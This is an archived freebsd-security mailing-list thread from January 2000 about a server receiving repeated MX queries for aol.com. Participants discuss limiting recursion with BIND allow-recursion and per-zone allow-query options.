McCord" at "Jan 29, 2000 9:44:53 am" To: mccord@zytek.com (Samara McCord) Date: Sat, 29 Jan 2000 14:09:45 -0600 (CST) Cc: phk@critter.freebsd.dk, sthaug@nethelp.no, fbsd-security@ursine.com, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > >> Tell named to only recurse for your own IP range (takes code hacking). > > > >Not really. "allow-recursion" is your friend. > > > >options { > > allow-recursion { > > localnets; > > x.y.z/24; // Other addresses allowed > > }; > >}; > > > >Requires BIND 8.2.1 or newer. > > > > Thanks, this was helpful. Also, I've found that you can emulate this > behavior on BIND 8.2 (which doesn't have allow-recursion) by the following: > > options { > allow-query { localnets; } > } > zone "xxx.com" { > type master; > ... > allow-query { any; } > ... > } > > This says that for queries within the authoritative zone, allow > anything, but for all other queries, only allow specific IPs. > > Sam > First of all, thanks to everybody. There were several helpful hints. Second, let me point out the difference between the two methods suggested above. The second one is more difficult to implement if you have many domains under your DNS control (you need to do that for every domain). However, the second method seems to provide more desired (?) result: If you try to send an nslookup request about an outside domain to the server from an outside host, it will respond as "query refused". In the first case (using "allow-recursion"), the server will not refuse the query, but rather will respond with the root-servers information. I am not sure how all client-side software would react on such response, but this type of response might not turn their resolvers away immediately. Igor PS. As a side note: does anybody know any type of a program/script analogous to "adduser" for adding domain records to the DNS database ? This is not related to this list, so, please respond directly. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 12:23:45 2000 Delivered-To: freebsd-security@freebsd.org Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162]) by hub.freebsd.org (Postfix) with SMTP id DB84A150F2 for ; Sat, 29 Jan 2000 12:23:28 -0800 (PST) (envelope-from sthaug@nethelp.no) Received: (qmail 2808 invoked by uid 1001); 29 Jan 2000 20:23:17 +0000 (GMT) To: igor@physics.uiuc.edu Cc: mccord@zytek.com, phk@critter.freebsd.dk, sthaug@nethelp.no, fbsd-security@ursine.com, freebsd-security@FreeBSD.ORG Subject: Re: Continual DNS requests from mysterious IP From: sthaug@nethelp.no In-Reply-To: Your message of "Sat, 29 Jan 2000 14:09:45 -0600 (CST)" References: <200001292009.OAA22881@alecto.physics.uiuc.edu> X-Mailer: Mew version 1.05+ on Emacs 19.34.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Sat, 29 Jan 2000 21:23:17 +0100 Message-ID: <2806.949177397@verdi.nethelp.no> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > However, the second method seems to provide more desired (?) result: > If you try to send an nslookup request about an outside domain > to the server from an outside host, it will respond as "query refused". > In the first case (using "allow-recursion"), the server will not > refuse the query, but rather will respond with the root-servers information. This is on purpose. The idea of the "allow-recursion" option is to limit the amount of work that a disallowed client can ask from your server. This means that it will either return a referral, or an answer from its cache. But it will *not* perform any new queries on behalf of a disallowed client. The amount of work to return a "query refused" is about the same as that of returning a referral or an answer from the cache. Steinar Haug, Nethelp consulting, sthaug@nethelp.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 12:31:54 2000 Delivered-To: freebsd-security@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 2213D160C1 for ; Sat, 29 Jan 2000 12:31:33 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.freebsd.dk [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id VAA14540; Sat, 29 Jan 2000 21:30:58 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: sthaug@nethelp.no Cc: igor@physics.uiuc.edu, mccord@zytek.com, fbsd-security@ursine.com, freebsd-security@FreeBSD.ORG Subject: Re: Continual DNS requests from mysterious IP In-reply-to: Your message of "Sat, 29 Jan 2000 21:23:17 +0100." <2806.949177397@verdi.nethelp.no> Date: Sat, 29 Jan 2000 21:30:58 +0100 Message-ID: <14538.949177858@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <2806.949177397@verdi.nethelp.no>, sthaug@nethelp.no writes: >> However, the second method seems to provide more desired (?) result: >> If you try to send an nslookup request about an outside domain >> to the server from an outside host, it will respond as "query refused". >> In the first case (using "allow-recursion"), the server will not >> refuse the query, but rather will respond with the root-servers information. > >This is on purpose. The idea of the "allow-recursion" option is to limit >the amount of work that a disallowed client can ask from your server. This >means that it will either return a referral, or an answer from its cache. >But it will *not* perform any new queries on behalf of a disallowed client. > >The amount of work to return a "query refused" is about the same as that >of returning a referral or an answer from the cache. Yes, but "query refused" might have the advantage of signalling the other end to reconfigure. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 16:37:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 4AE4914E5F for ; Sat, 29 Jan 2000 16:37:18 -0800 (PST) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id RAA07751; Sat, 29 Jan 2000 17:37:03 -0700 (MST) Message-Id: <4.2.2.20000129173418.03dc4960@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sat, 29 Jan 2000 17:36:59 -0700 To: Samara McCord , freebsd-security@FreeBSD.ORG From: Brett Glass Subject: Re: Continual DNS requests from mysterious IP In-Reply-To: <200001290216.SAA34537@floozy.zytek.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org My guess is that your machine is being used in a distributed DoS attack against AOL. The perpetrator is probably querying many servers throughout the Net, hoping that they in turn will swamp AOL. By providing lots of bogus host names that do not repeat, they're ensuring that a fresh request is generated every time. I personally would block the buggers and then contact AOL. --Brett At 07:16 PM 1/28/2000 , Samara McCord wrote: >Hello, > >This is not an attack, but somewhat irritating. Also it's something >that no one would normally notice. Well I was running tcpdump to check >on something else and noticed this. About once a second I'm getting >DNS requests for the mail relay of "aol.com". It has been going on all >day, possibly for many days. It bugged me so I put this IP address in >my border filter to discard all packets. Does anyone know what this is? >Some kind of network monitoring? The IP address is not reversible >(surprise surpise), possibly in New York. It sort of brings up the >issue of possibly DNS inquiries should be limited to 1. domains for >which you are authoratative, and 2. machines for which you provide >dial-up service. Below is a sample tcpdump output (my machine >has been xxx'd out, the other IP address is real). > >Sam > >------- >15:58:36.768512 212.205.50.129.28912 > xxx.xxx.xxx.domain: 15357+ MX? aol.com. (25) (DF) >15:58:36.770828 xxx.xxx.xxx.domain > 212.205.50.129.28912: 15357 9/2/16 MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15 (500) >15:58:38.444473 212.205.50.129.14970 > xxx.xxx.xxx.domain: 1832+ MX? aol.com. (25) (DF) >15:58:38.446895 xxx.xxx.xxx.domain > 212.205.50.129.14970: 1832 9/2/16 MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15 (500) >15:58:38.778631 212.205.50.129.9245 > xxx.xxx.xxx.domain: 41476+ MX? aol.com. (25) (DF) >15:58:38.780911 xxx.xxx.xxx.domain > 212.205.50.129.9245: 41476 9/2/16 MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15 (500) >15:58:38.827693 212.205.50.129.18818 > xxx.xxx.xxx.domain: 60850+ MX? aol.com. (25) (DF) >15:58:38.829969 xxx.xxx.xxx.domain > 212.205.50.129.18818: 60850 9/2/16 MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15 (500) >15:58:39.367913 212.205.50.129.7526 > xxx.xxx.xxx.domain: 56983+ MX? aol.com. (25) (DF) >15:58:39.370303 xxx.xxx.xxx.domain > 212.205.50.129.7526: 56983 9/2/16 MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15 (500) >15:58:40.419209 212.205.50.129.4028 > xxx.xxx.xxx.domain: 47022+ MX? aol.com. (25) (DF) >15:58:40.420800 212.205.50.129.1875 > xxx.xxx.xxx.domain: 2307+ MX? aol.com. (25) (DF) >15:58:40.421774 xxx.xxx.xxx.domain > 212.205.50.129.4028: 47022 9/2/16 MX yh.mx.aol.com. 15, MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15 (500) >15:58:40.423991 xxx.xxx.xxx.domain > 212.205.50.129.1875: 2307 9/2/16 MX za.mx.aol.com. 15, MX zb.mx.aol.com. 15, MX zc.mx.aol.com. 15, MX zd.mx.aol.com. 15, MX yb.mx.aol.com. 15, MX yc.mx.aol.com. 15, MX yd.mx.aol.com. 15, MX yg.mx.aol.com. 15, MX yh.mx.aol.com. 15 (500) > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 16:42:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id AAC0F1530F for ; Sat, 29 Jan 2000 16:42:44 -0800 (PST) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id RAA07787; Sat, 29 Jan 2000 17:42:35 -0700 (MST) Message-Id: <4.2.2.20000129173939.0410f700@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sat, 29 Jan 2000 17:42:31 -0700 To: "Michael Bryan" , freebsd-security@FreeBSD.ORG From: Brett Glass Subject: Re: Continual DNS requests from mysterious IP In-Reply-To: <200001290842460680.22E3EFC9@quaggy.ursine.com> References: <200001291634.IAA36101@floozy.zytek.com> <200001291634.IAA36101@floozy.zytek.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 09:42 AM 1/29/2000 , Michael Bryan wrote: >If somebody has manually setup their system to use you as a DNS resolver, >then you will get packets for any and all DNS requests they make, no matter >where they are on the Internet. Which brings up a question I've had for a long time. When I set up a system as a NAT router, I would like to assign names to the internal machines (e.g. on 10.x.x.x) so that the POP server and other programs that do DNS queries are happy. (It also makes the logs more readable.) However, I don't want anyone OUTSIDE to be able to do forward or reverse DNS for those machines. Is there an easy way to do this? --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 17:37:13 2000 Delivered-To: freebsd-security@freebsd.org Received: from naiad.eclipse.net.uk (naiad.eclipse.net.uk [195.188.32.29]) by hub.freebsd.org (Postfix) with ESMTP id E1ED115888 for ; Sat, 29 Jan 2000 17:37:06 -0800 (PST) (envelope-from sh@octarine.org) Received: by naiad.eclipse.net.uk (Postfix, from userid 65534) id D52BD13264; Sun, 30 Jan 2000 01:37:00 +0000 (GMT) Message-ID: <949196220.389395bcb8f26@webmail.octarine.org> Date: Sun, 30 Jan 2000 01:37:00 +0000 To: Brett Glass From: Stuart Henderson Cc: Michael Bryan , Subject: Re: Continual DNS requests from mysterious IP References: <200001291634.IAA36101@floozy.zytek.com> <200001291634.IAA36101@floozy.zytek.com> <4.2.2.20000129173939.0410f700@localhost> In-Reply-To: <4.2.2.20000129173939.0410f700@localhost> MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.0-cvs X-Complaints-To: abuse@eclipse.net.uk X-Trace: webmail.octarine.org/212.104.138.99/195.188.32.32/1.0 thebe.proxy.eclipse.net.uk:8080 (Squid/2.3.DEVEL2) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Quoting Brett Glass : > Which brings up a question I've had > for a long time. When I set up a > system as a NAT router, I would like > to assign names to the internal > machines (e.g. on 10.x.x.x) so that > the POP server and other programs > that do DNS queries are happy. (It > also makes the logs more readable.) > However, I don't want anyone OUTSIDE > to be able to do forward or reverse > DNS for those machines. Is there an > easy way to do this? Recent versions of BIND let you specify who may query, transfer, and update at a per-zone granularity. http://www.isc.org/products/BIND/docs/config/z one.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 21:34:49 2000 Delivered-To: freebsd-security@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.79.126]) by hub.freebsd.org (Postfix) with ESMTP id BF03B151E9 for ; Sat, 29 Jan 2000 21:34:46 -0800 (PST) (envelope-from nate@yogotech.com) Received: from nomad.yogotech.com (nomad.yogotech.com [206.127.79.115]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id WAA05464; Sat, 29 Jan 2000 22:34:22 -0700 (MST) (envelope-from nate@nomad.yogotech.com) Received: (from nate@localhost) by nomad.yogotech.com (8.8.8/8.8.8) id WAA12435; Sat, 29 Jan 2000 22:34:21 -0700 (MST) (envelope-from nate) Date: Sat, 29 Jan 2000 22:34:21 -0700 (MST) Message-Id: <200001300534.WAA12435@nomad.yogotech.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Poul-Henning Kamp Cc: "Michael Bryan" , freebsd-security@FreeBSD.ORG Subject: Re: Continual DNS requests from mysterious IP In-Reply-To: <13429.949164414@critter.freebsd.dk> References: <200001290842460680.22E3EFC9@quaggy.ursine.com> <13429.949164414@critter.freebsd.dk> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > >>But this also brings up my other > >>point. Correct me if I'm wrong, but my DNS servers shouldn't ever have > >>to deliver the MX records for aol.com (or any domain for which I don't > >>serve), except to my own internal machines and for my own customers, right? > > > >If somebody has manually setup their system to use you as a DNS resolver, > >then you will get packets for any and all DNS requests they make, no matter > >where they are on the Internet. Not a very smart way to do things, mind > >you, but I've seen it before, usually from customers of mine who moved a > >computer from work or another ISP and kept their old DNS settings. I don't > >think that's what's going on in your case, though... > > Tell named to only recurse for your own IP range (takes code hacking). Actually, it doesn't. Newer versions of named have this as a feature... options { // Only allow 'generic' queries from machines in this // network. This requires that we allow queries for // the information we are authoritative for 'any' in // each zone declaration. allow-query { 127.0.0.1; 206.127.79.112/29; 206.127.79.120/29; }; zone "yogotech.com" { type master; file "master/yogotech.com"; allow-transfer { yogoNS; }; allow-query { any; }; }; The only requirement is that you add 'allow-querty { any; };' for any zone you are authoratative for, but this is minor. Doing this stopped a number of people who were 'abusing' my DNS servers... Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 29 23: 4:50 2000 Delivered-To: freebsd-security@freebsd.org Received: from bunyip.cc.uq.edu.au (bunyip.cc.uq.edu.au [130.102.2.1]) by hub.freebsd.org (Postfix) with ESMTP id 3E77E15A38 for ; Sat, 29 Jan 2000 23:04:31 -0800 (PST) (envelope-from bc@thehub.com.au) Received: from zinarktei.client.uq.net.au (uq-nosferatu.client.uq.net.au [203.101.254.51]) by bunyip.cc.uq.edu.au (8.9.3/8.9.3) with SMTP id RAA06608; Sun, 30 Jan 2000 17:04:28 +1000 (GMT+1000) Date: Sun, 30 Jan 2000 15:07:14 +1000 (EST) From: Bruce Campbell X-Sender: bc@zinarktei.client.uq.net.au To: freebsd-security@FreeBSD.ORG Cc: Chris Johnson Subject: Re: Continual DNS requests from mysterious IP In-Reply-To: <20000129115451.A14160@palomine.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 29 Jan 2000, Chris Johnson wrote: > On Sat, Jan 29, 2000 at 05:46:54PM +0100, Poul-Henning Kamp wrote: > > Tell named to only recurse for your own IP range (takes code hacking). > > Or use dnscache/tinydns instead of named. It's new, written by Dan Bernstein > (the author of qmail), and it'll give you control over who gets to request what > from your name servers. It's also small, secure, simple, etc., like qmail is. > I'm completely BIND-free now, and haven't had any problems whatsoever. > http://cr.yp.to/dnscache.html Hrm. Last time I checked, cr.yp.to had two nameservers (for yp.to) which happened to have the same IP address. I'm sorry, but I personally wouldn't trust my DNS to software written by someone who hasn't taken note of the suggestions within RFC2182 (Selection and Operation of Secondary DNS Servers) , then again, I've probably got more zones than you ;) --==-- Bruce. Devils Advocate. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message